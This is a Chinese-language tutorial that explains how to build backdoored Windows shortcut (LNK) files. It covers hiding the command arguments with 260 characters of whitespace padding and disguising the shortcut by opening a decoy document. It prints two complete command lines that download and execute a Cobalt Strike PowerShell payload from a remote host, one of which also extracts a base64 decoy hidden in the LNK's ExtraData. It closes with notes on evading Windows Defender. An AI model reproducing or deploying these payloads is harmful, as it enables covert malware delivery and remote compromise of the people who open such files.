th-LNK文件后门

在针对APT攻击的报告中,我们常常可以看到LNK后门的出现,于是我就打算看看LNK后门的相关资料,于是就有了这篇文章…

preview

最简单的做法
对参数进行隐藏
伪装正常程序

最简单的做法

最简单的LNK后门就是在创建LNK后门的时候选择以最小化窗口运行,然后链接向cmd或者powershell进行payload的下载执行,最后替换一下LNK文件的图标。这样可以做到受害者在双击LNK文件时无弹窗运行payload。
这种简单的方法缺点也很明显,第一点就是当对方点开了查看属性的时候,会直接暴露将要被执行的命令。第二点则是因为不管运行几次该LNK文件都不会产生任何反应,会让对方产生怀疑。

对参数进行隐藏

由于微软对快捷方式中的参数字段存在长度限制,只能添加260个字节,超过该字节数后则无法正常显示参数字段中的字符,但是不影响其功能。因此我们可以先利用260个空白字符对参数字段进行填充,然后再加上需要执行的命令。这样就可以达到参数隐藏的目的。

伪装正常程序

光是隐藏参数还不能算一个合格的后门,因为当对方运行了该LNK文件后,发现没有任何的反应是会产生怀疑的,所以我们还需要伪装成能正常打开的文件(可以是PE文件也可以是WORD文档或者图片等任意格式)。有两个思路可以完成该目的。第一种是将文件放在远程服务器上,利用命令行的远程下载执行的方式将其打开。第二种则是将要伪装的目标文件藏在LNK文件自身中,通过命令行的相关命令将其释放并执行。前者有下载行为、后者则是会增大LNK文件的大小。我个人比较喜欢用后者,能减少下载操作的情况下尽量减少下载操作。

通过下远程下载执行打开正常文件

大致流程图如下所示

remote download

这里贴一个具体的EXP代码

%SystemRoot%\system32\cmd.exe /s /c powershell -w hidden -c (new-object net.webclient).downloadfile('http://x.x.x.x/download/test.doc', 'C:\\Users\\Public\\Downloads\\test.doc') & powershell -w hidden -c C:\\Users\\Public\\Downloads\\test.doc & powershell -w hidden -c "iex (new-object net.webclient).downloadstring('http://x.x.x.x/a')"

代码很简单,一共打开了三次powershell(用&连接),

powershell -w hidden -c (new-object net.webclient).downloadfile('http://x.x.x.x/download/test.doc', 'C:\\Users\\Public\\Downloads\\test.doc')
#这段powershell利用downloadfile从远程服务器下载指定的内容保存到本地指定路径上(文件需要命名为对应的后缀)

powershell -w hidden -c C:\\Users\\Public\\Downloads\\test.doc
#这段powerhslel以系统支持的方式打开该文件

powershell -w hidden -c "iex (new-object net.webclient).downloadstring('http://x.x.x.x/a')"
#这段powershell是coabltstrike加载powershell payload的命令。

上述只是其中一个例子,下载操作也可以利用其他方式进行,思路就是将文件下载到本地后利用命令行打开该文件,以达到伪装正常文件的效果。

将文件藏到LNK文件自身结构体中

这个思路充分利用了LNK文件自己结构体的特点,将需要伪装的文件藏在自身中,是一个十分有意思的技巧。
具体来讲,在LNK文件中有一个Extradata结构,官方文档是这样描述该结构的

ExtraData refers to a set of structures that convey additional information about a link target. These optional structures can be present in an extra data section that is appended to the basic Shell Link Binary File Format.

意思是说extraData是一组用于传达有关链接目标的其他信息的结构。这些可选结构可以存在于附加到基本Shell链接二进制文件格式的额外数据部分。
也就是说,ExtraData结构主要是用于传达信息的,不会影响LNK文件的正常执行,于是我们可以滥用该结构。

大致流程图如下

hidden in self

这里也贴一个具体的EXP代码
%COMSPEC% findstr “0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAA” test.lnk>%TEMP%\test
& certutil -decode %TEMP%\test %TEMP%\test.doc
& start %TEMP%\test.doc
& powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://x.x.x.x/update'))" & exit

代码逻辑则如流程图给出的一样,这里就不重复了。

这种方式的好处就是可以尽量减少网络连接数,避免被IPS等流量监控设备发现。

总结

能过windwos defender(需要绕过AMSI)、不能过360(限制得太死了,添加任意启动参数都会拦截)